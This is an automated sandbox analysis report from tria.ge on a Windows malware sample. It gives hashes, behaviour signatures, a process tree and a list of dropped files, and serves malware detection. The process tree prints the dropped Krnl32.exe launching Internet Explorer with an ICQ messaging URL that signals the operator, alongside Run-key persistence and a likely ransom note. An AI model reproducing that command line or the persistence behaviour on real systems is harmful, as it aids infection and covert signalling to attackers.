Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    141s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/05/2024, 18:06

General

  • Target

    010565e86b027a3ca698879ce968900c706ac328ddb81e29adbb092598ef61f7.exe

  • Size

    26KB

  • MD5

    918a6b9b6dfc81bfe266130ad30b21ad

  • SHA1

    aa0bd70c8291b5d76d001cb17e4cb3ea6129fe7e

  • SHA256

    010565e86b027a3ca698879ce968900c706ac328ddb81e29adbb092598ef61f7

  • SHA512

    995b973b5cb0603c201bc83ce496c08edfdeb12cd6b62350a409d87ea678808c909133b1387fbe511ac0ccd4fbbb14d1637d346f2eaa9e7c47030ae079bc7380

  • SSDEEP

    768:qq3G3q83wdv7GLGS1R9TNoINEx9jnhwrw:Jkq83wdv7Gti

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 64 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 44 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 43 IoCs
  • Modifies registry class 1 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\010565e86b027a3ca698879ce968900c706ac328ddb81e29adbb092598ef61f7.exe
    "C:\Users\Admin\AppData\Local\Temp\010565e86b027a3ca698879ce968900c706ac328ddb81e29adbb092598ef61f7.exe"
    1⤵
    • Checks computer location settings
    • Adds Run key to start application
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:2688
    • C:\Users\Admin\AppData\Local\Temp\Krnl32.exe
      "C:\Users\Admin\AppData\Local\Temp\Krnl32.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Adds Run key to start application
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Suspicious use of WriteProcessMemory
      PID:1000
      • C:\Program Files\Internet Explorer\Iexplore.exe
        "C:\Program Files\Internet Explorer\Iexplore.exe" http://wwp.icq.com/scripts/WWPMsg.dll?from=M4TrIx&fromemail=_&subject=MATRIX&body=THE%20MATRIX%20HAS%20COME...&to=90019603%20HTTP/1.0
        3⤵
        • Modifies Internet Explorer settings
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2476
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2476 CREDAT:17410 /prefetch:2
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:764
    • C:\Windows\SysWOW64\NOTEPAD.EXE
      "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\HELPME.TXT
      2⤵
      • Opens file in notepad (likely ransom note)
      PID:4820

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

    Filesize

    471B

    MD5

    ba208409d758d248b5c43be99023d903

    SHA1

    e8ff44158a1a41784ff773aee0410fce08ffa85b

    SHA256

    90052b1f97e33e41422ee5bdf739a18a7c66b30c282ea309314b68bbc7c093c1

    SHA512

    a4c64d8f86d4e2533b7462a3ec5d072f059573d6937c9c4133b61ea14fdb691075a0c28f839d1a54cbc739477d3ef38995439d57308270ddbe670e5e40e5a27c

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

    Filesize

    404B

    MD5

    8b5c4e0e37fe32c03e258e7536124eb5

    SHA1

    64cd7881745d2300dede3e00cedf65070b90fa21

    SHA256

    c91871a6c1413323ab4c5ef51c51fb30c8c30e003c98f2c3bbb25b5a1e985570

    SHA512

    205b9329791b3e5dee905c2609c2f1f0b07e8fe202ba3a55a0f68779466b7533c03b8489912210ddd307d5e161ef51a451af55c1e67c3a83b731c06da82782ce

  • C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\VersionManager\ver1642.tmp

    Filesize

    15KB

    MD5

    1a545d0052b581fbb2ab4c52133846bc

    SHA1

    62f3266a9b9925cd6d98658b92adec673cbe3dd3

    SHA256

    557472aeaebf4c1c800b9df14c190f66d62cbabb011300dbedde2dcddd27a6c1

    SHA512

    bd326d111589d87cd6d019378ec725ac9ac7ad4c36f22453941f7d52f90b747ede4783a83dfff6cae1b3bb46690ad49cffa77f2afda019b22863ac485b406e8d

  • C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\zm934n9\imagestore.dat

    Filesize

    4KB

    MD5

    32d3f10595b13387eb94fac3fbe9bc87

    SHA1

    aa6ba1fe8fdfe7aae1caae79b37105e627e4e3a2

    SHA256

    07c6e435423a4b2f937afa5aa2e32edd92a32a877653053e5451a63fd6bd8fca

    SHA512

    a10e54ddf0b396fade631d57f55c2df4ff916ffe4d5738e80c34b8767c8299740b1b74a85849f72d78f2704134cd7f2dac389d48644de00923fd9535406c8353

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\79ZXHV21\suggestions[1].en-US

    Filesize

    17KB

    MD5

    5a34cb996293fde2cb7a4ac89587393a

    SHA1

    3c96c993500690d1a77873cd62bc639b3a10653f

    SHA256

    c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

    SHA512

    e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\9HVBWIRO\icon_web_60[1].png

    Filesize

    4KB

    MD5

    e9dbf6c742169ea700f8386bf639911b

    SHA1

    2fce93e1b217283c3d7c8ef275748ad69f840815

    SHA256

    3ce3371ecd679c4e218474046aa2a2ab067dbac5370b983aa8e7d91b208d816b

    SHA512

    2809218b84cda633e6c5c2e47d8d65c23c1ea05a88b5ee970c6bc6265223ef6e94f0d30605e1f15601ecdc68700eca299990314468a37109cac87b30c575d234

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\CMMYN4JX\en[1].htm

    Filesize

    41KB

    MD5

    ee39185389dd344b465d52a2b00c24f4

    SHA1

    6391a8ec25edaf66de92720e113576892e92f149

    SHA256

    048b8193d25d826641ce4de886572d782f6b97da86e8c4549bc3fd5517ec8085

    SHA512

    e0897211866962072dfda695de412c58c424fea36787e39944decadd84029b2e9db58ae3107e1660a366e46cb8313bab114a36a0095031b474699fd184be6c76

  • C:\Users\Admin\AppData\Local\Temp\HELPME.TXT

    Filesize

    67B

    MD5

    057798d389930107a381a2690141ac1d

    SHA1

    e44f1c2475c0f2323507e141dcae53ffef51c624

    SHA256

    5ba8c75f08589b808a6e16225ea565734aeeb23edc40894174d2d135f5e8d3d2

    SHA512

    98b40b6a11027974b482cb645718d34c8ee707ad01d6eba05acbf15a3b8d7c762afc08fef6513623fefe6e297d77a838fbb980d944a4a8e864356dfabac473e2

  • C:\Users\Admin\AppData\Local\Temp\Krnl32.exe

    Filesize

    26KB

    MD5

    145a5b7214de87604328f3001b44ceff

    SHA1

    a6b6a25391cb90b6897337c2416c417fdc29890f

    SHA256

    90bd359735e86d5e47107a7a1aa2f4356e347d01565acb39e4c35ce1b50d8075

    SHA512

    9a74d74284ef8ca07e8215f3ceb7501666cda5a7d1d8a3baf70c92d9097a2157f979b976f2b0671a8663a61077341ac03ca8b845c06d82a51bfb9b6b031d7ee4

  • memory/1000-99-0x0000000000400000-0x0000000000413000-memory.dmp

    Filesize

    76KB

  • memory/1000-26-0x0000000000400000-0x0000000000413000-memory.dmp

    Filesize

    76KB

  • memory/1000-22-0x0000000000400000-0x0000000000413000-memory.dmp

    Filesize

    76KB

  • memory/1000-114-0x0000000000400000-0x0000000000413000-memory.dmp

    Filesize

    76KB

  • memory/1000-118-0x0000000000400000-0x0000000000413000-memory.dmp

    Filesize

    76KB

  • memory/1000-18-0x0000000000400000-0x0000000000413000-memory.dmp

    Filesize

    76KB

  • memory/1000-130-0x0000000000400000-0x0000000000413000-memory.dmp

    Filesize

    76KB

  • memory/1000-132-0x0000000000400000-0x0000000000413000-memory.dmp

    Filesize

    76KB

  • memory/1000-134-0x0000000000400000-0x0000000000413000-memory.dmp

    Filesize

    76KB

  • memory/2688-0-0x0000000000400000-0x0000000000413000-memory.dmp

    Filesize

    76KB

  • memory/2688-20-0x0000000000400000-0x0000000000413000-memory.dmp

    Filesize

    76KB